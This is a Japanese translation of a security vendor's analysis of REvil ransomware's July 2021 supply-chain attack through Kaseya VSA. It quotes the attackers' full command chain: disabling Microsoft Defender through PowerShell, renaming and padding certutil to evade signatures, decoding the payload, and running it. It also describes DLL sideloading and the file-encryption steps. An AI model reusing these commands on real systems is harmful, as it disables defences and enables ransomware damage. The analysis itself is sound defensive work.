** 本記事は、Independence Day: REvil uses supply chain exploit to attack hundreds of businesses の翻訳です。最新の情報は英語記事をご覧ください。**
多くの企業で従業員がすでに休暇を取っているか、長い週末に向けて準備をしていた 7 月 2 日、暗号化と恐喝を組み合わせた広範囲に及ぶ攻撃が REvil ランサムウェアグループのアフィリエイトによって開始されました。REvil の攻撃者は、Kaseya の VSA リモート管理サービスのエクスプロイトを利用して、マネージドサービスプロバイダーの顧客と、Kaseya の VSA リモート監視/管理プラットフォームのオンサイト版の企業ユーザーを標的にした悪意のあるアップデートパッケージを起動しました。
REvil は RaaS (Ransomware-as-a-Service: サービスとしてのランサムウェア) の 1 つで、ランサムウェア開発者から報酬を得ている「アフィリエイト」グループによって配信されています。これまでにもマネージドサービスプロバイダーの顧客企業は、2019 年にテキサス州の 20 以上の地方自治体に影響を与えたランサムウェア攻撃 (後に REvil によるものと特定) をはじめとして、REvil のアフィリエイトや他のランサムウェアオペレーターの標的となってきました。さらに、他のいくつかの RaaS が衰退したことで、REvil は以前よりも活発になっています。REvil のアフィリエイトの活動はここ最近非常に執拗になってきており、マルウェア対策を妨害しようとする試みを続けています。今回の大規模な攻撃においては、Kaseya のサプライチェーンに新たな脆弱性を発見しただけでなく、マルウェア対策プログラムを REvil ランサムウェアのコードを配信する手段として利用していました。
REvil のオペレーターは、100 万台以上のデバイスがこの悪意のあるアップデートに感染したとの文章をダークウェブ「Happy Blog」に投稿しました。また、7 千万ドル相当の BitCoin の支払いを条件に、攻撃を受けた被害者に復号化ツールを提供する意思がある、とも述べています。
マルウェアのマネージドデリバリ
今回の大規模攻撃は、感染した VSA サーバーから、管理下にある Windows デバイス上で実行される VSA エージェントアプリケーションに送信された悪意のあるアップデートペイロードを介して実行されました。どうやら、サーバープラットフォームのゼロデイエクスプロイトを利用して行われたようです。この方法を取ったことで、REvil は信頼されているチャネルを通じて最初の侵入を成功させ、(アプリケーションとエージェントの「作業」フォルダのセットアップに必要なマルウェア対策ソフトウェアの除外事項に反映されている) VSA エージェントコードの信頼を利用することができました。したがって、Kaseya Agent Monitor によって実行されたものはすべて、この除外事項に該当するため無視されます。これにより、REvil はチェックされることなくドロッパーを展開することが可能となっていました。
Kaseya Agent Monitor (場所は C:\PROGRAM FILES (X86)\KASEYA\<ID>\AGENTMON.EXE。ID はモニターインスタンスに接続されたサーバーの識別キー) は、順次、Base64 エンコードされた悪意のあるペイロード AGENT.CRT を VSA エージェントの「作業」ディレクトリに書き出して更新していました (デフォルトでは、C:KWORKING\)。AGENT.CRT は、ドロップされたタイミングでマルウェア対策機能によってパターンスキャンと機械学習を使用した静的ファイル分析が実行されるのを阻止できるようエンコードされています。これらのテクノロジーは通常、実行ファイルに対して機能します (しかし、前述したように、このファイルは Kaseya の要件の下で除外された「作業」ディレクトリ内に展開されていたため、問題にならなかったのだと考えられます)。
ペイロードを展開した Kaseya エージェントは、(1 つの文字列に連結された) 以下の Windows シェルコマンドを実行しました。
その内容を以下に説明します。
ping 127.0.0.1 -n 5693 > nul
最初のコマンドはタイマーです。PING コマンドの -n パラメータは、Windows の PING.EXE ツールに対して、ローカルホスト (127.0.0.1) にエコー要求 (この場合は 5,693 個) を送信するように指示します。これが「スリープ」機能の役割を果たしたため、後続の PowerShell コマンドを 5,693秒 (約 94分) 遅らせることができました。この 5,693 という値が被害者ごとに異なっていたということは、悪意のあるコマンドを被害者に送信するエージェントの手順の一環として、各 VSA サーバーでランダムに生成されたことを示しています。
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
コマンド文字列の次の部分は、Microsoft Defender で提供されている以下の基本的なマルウェア/ランサムウェア対策の保護機能を無効化しようとする PowerShell コマンドです。
- リアルタイム保護
- 既知の脆弱性が悪用されるのを防止するネットワーク保護
- ダウンロードされたすべてのファイルと添付ファイルのスキャン
- スクリプトのスキャン
- ランサムウェア対策
- フィッシング詐欺、エクスプロイト、およびその他の悪意のあるコンテンツをインターネット上でホストしている可能性のある危険なドメインに、アプリケーションがアクセスできないようにする保護機能
- Microsoft Active Protection Service (MAPS) との潜在的脅威情報の共有
- Microsoft へのサンプルの自動提出
上記の機能は、Microsoft Defender が悪意のあるファイルやアクティビティをブロックできないようにするためにオフになっています。
copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe
この部分は、Windows の証明書ユーティリティ「CERTUTIL.EXE」のコピーを作成します。CERTUTIL.EXE は、よく使用される LOLBin (自給自足型バイナリ) であり、Web エンコードされたコンテンツをダウンロード/デコードする機能を持っています。コピーは C:WINDOWS\CERT.EXE に書き込まれます。
echo %RANDOM% >> C:\Windows\cert.exe
これは、コピーされた CERTUTIL の末尾にランダムな 5 桁の数字を付加するものです。これは、CERTUTIL の不正使用を監視するマルウェア対策製品が、シグネチャに基づいて CERT.EXE を CERTUTIL のコピーとして認識するのを阻止するための試みであると考えられます。
C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe
コピーされた CERTUTIL は、Base64 エンコードされたペイロードファイル「AGENT.CRT」をデコードし、Kaseya の作業フォルダにある実行ファイル「AGENT.EXE」に書き込むために使用されます。AGENT.EXE は、「PB03 TRANSPORT LTD.」の証明書で署名された有効な Authenticode を持っています。ソフォスがこれまで確認したこの証明書は、どれも REvil マルウェアに関連したものであり、今回の証明書は盗まれたものか不正に入手されたものである可能性があります。AGENT.EXE には、攻撃の 1 日前にあたる 2021 年 7 月 1 日 (14:40:29) というコンパイラーのタイムスタンプが含まれています。
del /q /f c:\kworking\agent.crt C:\Windows\cert.exe
元のペイロードファイル C:\KWORKING\AGENT.CRT と CERTUTIL のコピーを削除します。
c:\kworking\agent.exe
最後に、Kaseya の AGENTMON.EXE プロセスによって AGENT.EXE が起動され (システムレベルの権限を継承) 、ランサムウェアのドロップが始まります。
ステルス性を高めるサイドローディング
AGENT.EXE がドロップしたのは、予想外のファイルでした。ドロップされた MSMPENG.EXE は、有効期限が切れた古いバージョンの Microsoft Antimalware Service Executable です。これは、Windows Defender バージョン 4.5.218.0 の脆弱なアプリケーションで、2014 年 3 月 23 日に Microsoft によって署名されています。
このバージョンの MSMPENG.EXE は、サイドローティング攻撃に対して脆弱であり、以前にもこの特定のバージョンが悪用されたことが確認されています。サイドローディング攻撃では、悪意のあるコードが、標的となる実行ファイルが必要とするものと同じ名前のダイナミックリンクライブラリ(DLL)に組み込まれ、通常は実行ファイルと同じフォルダに置かれるため、正規のコピーよりも先に発見されます。
今回のケースでは、AGENT.EXE は実行ファイル MSMPENG.EXE と一緒に MPSVC.DLL という悪意のあるファイルをドロップしました。続いて AGENT.EXE が MSMPENG.EXE を実行すると、MSMPENG.EXE は悪意のある MPSVC.DLL ファイルを検出し、自身のメモリ空間にロードします。
この MPSVC.DLL には、AGENT.EXE に適用された「PB03 TRANSPORT LTD.」の証明書も含まれています。MPSVC.DLL は、AGENT.EXE がコンパイルされる直前の 2021 年 7 月 1 日 (木) 14:39:06 にコンパイルされたようです。
その瞬間から、MPSVC.DLL の中の悪意のあるコードは、MSMPENG.EXE が悪意のある MPSVC.DLL の ServiceCrtMain 関数 (無害な MPSVC.DLL のメイン関数でもある) を呼び出す際に、Microsoft のプロセスの正常な実行フローを乗っ取ります。
DLL がメモリにロードされると、マルウェアによってディスクから削除されます。
この時点で MSMPENG.EXE は悪意のある MPSVC.DLL の制御下にあり、ローカルディスク、接続されているリムーバブルドライブ、およびマッピングされたネットワークドライブの暗号化を開始します。これらはすべて、セキュリティコントロールが通常信頼し、実行することを許可している Microsoft 署名入りのアプリケーションからのものです。
ここから先の REvil ランサムウェアの動きは、最近の他の REvil が行う恐喝と非常によく似ています。REvil ランサムウェアは、NetShell (netsh) コマンドを実行してファイアウォールの設定を変更し、ローカルの Windows システムが他のコンピュータによってローカルネットワーク上で発見されることを許可します (netsh advfirewall firewall set rule group=”Network Discovery” new enable=Yes)。続いて、ファイルの暗号化を開始します。
REvil ランサムウェアはインプレース型の暗号化攻撃を行います。したがって、暗号化されたドキュメントは暗号化されていない元のドキュメントと同じセクターに保存されるため、データ復元ツールによって元のドキュメントを復元することができなくなります。REvil のファイルシステムに対する効率的なアクティビティは、専用スレッドで実行される特定の操作を示しています。
このランサムウェアはより短時間で被害を与えられるよう、ストレージアクセス (元のドキュメントの読み取りと暗号化されたドキュメントの書き込み)、キーBLOBの埋め込み、そしてドキュメント名の変更を複数のスレッドで実行します。各ファイルが暗号化されると、そのファイル名の末尾にランダムな拡張子が追加されます。
ステップ | スレッド | 操作 | 目的 |
---|---|---|---|
1 | A | CreateFile (Generic Read) | 元のドキュメントを読み取り専用で開く。 |
2 | A | ReadFile | 元のドキュメントの最後の 232 バイトを読み込む (復号化 BLOB を探す)。 |
3 | A | CloseFile | 元のドキュメントを閉じる (変更なし)。 |
4 | A | CreateFile (Generic Read/Write) | 元のドキュメントを読み取りと書き込み用に開く。 |
5 | B | ReadFile | 元のドキュメントを読み取る。 |
6 | C | WriteFile | 暗号化されたドキュメントを元のドキュメントに書き込む。 |
7 | C | WriteFile | 232 バイトの復号化 BLOB をファイルの最後に追加する。 |
8 | B | CloseFile | 暗号化されたドキュメントを閉じる。 |
9 | B | CreateFile (Read Attributes) | 暗号化されたドキュメントを開く。 |
10 | B | SetRenameInformationFile | ファイルタイプの拡張子 (.w3d1s など) を付けてドキュメント名を変更する。 |
11 | B | CloseFile | 名前を変更した暗号化ファイルを閉じる。 |
身代金要求メモは、同じランダムな拡張子をファイル名の一部として使用してドロップされます (例: 「39ats40-readme.txt」)。
0 | メインのインストールコマンド |
1 | Windows Defender の停止を試みる PowerShell コマンド |
2 | 名前を変更された CERTUTIL.EXE が AGENT.CRT から AGENT.EXE をデコードする |
3 | AGENT.EXE が実行され、MSMPENG.EXE と MPSVC.DLL が C:\Windows にドロップされる |
4 | MSMPENG.EXE が実行され、REvil DLL がサイドローディングされる |
5 | ファイルが暗号化され、身代金要求メモが作成される |
6 | Netsh.exe がネットワーク検出機能をオンにする |
以下は、この攻撃の仕組みを解説したビデオです。
身代金要求メモの指示に従うと、次のページが表示されます。Monero での支払いを要求されます。
この攻撃で (ほとんどの) 被害者が要求される身代金の金額は 4 万 5 千ドルで、1 週間後には 9 万ドルにまで吊り上がります。
教訓
この攻撃で用いられたマルウェア対策回避術 (サプライチェーンに侵入し、マルウェア対策の除外事項を利用し、Microsoft の署名付きの無害なプロセスを使ってサイドローディングする) は、いずれも非常に高度な手法です。また、自動化されたタスクが新しいファイルを書き込んだり実行したりするフォルダからマルウェア対策機能を除外することの潜在的リスクも明らかになっています。サプライチェーンを利用したゼロデイ攻撃は稀ですが、この 1 年の間にすでに 2 つの主要なシステム管理プラットフォームが悪用されました。Sunburst は国家的な攻撃であると思われ、ランサムウェアのオペレーターには、エクスプロイトを次々と取得し続けられるだけのリソースがあることは明らかです。
それでも、今回の REvil 攻撃で用いられたマルウェア対策回避機能は阻止できないものではなく、多くのマルウェア対策製品によって検出されました。REvil のペイロード自体は、ソフォスでは Intercept X によって Mal/Generic-S として、オンプレミスの保護製品では Troj/Ransom-GIP、Troj/Ransom-GIS、および HPmal/Sodino-A として検出されています。また、REvil 固有のコード証明書は、Mal/BadCert-Gen として検出されています。保護の除外事項によって REvil ドロッパーがマシンにインストールされた可能性がありますが、REvil ランサムウェア自体は検出されました。Intercept X の暗号化ランサムウェア対策機能は、フォルダ除外事項による制約を受けることはなく、保護対象ドライブ上のあらゆる場所でファイルの暗号化をブロックします。
この REvil 攻撃の IOC リストは、SophosLabs の Github ページで公開されています。
SophosLabs は、Gabor Szappanos、Richard Cohen、Fraser Howard の本記事への協力に謝意を表します。